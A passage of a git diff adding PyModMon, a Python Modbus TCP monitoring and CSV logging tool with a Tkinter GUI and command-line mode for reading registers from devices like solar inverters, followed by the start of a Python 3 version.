devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, 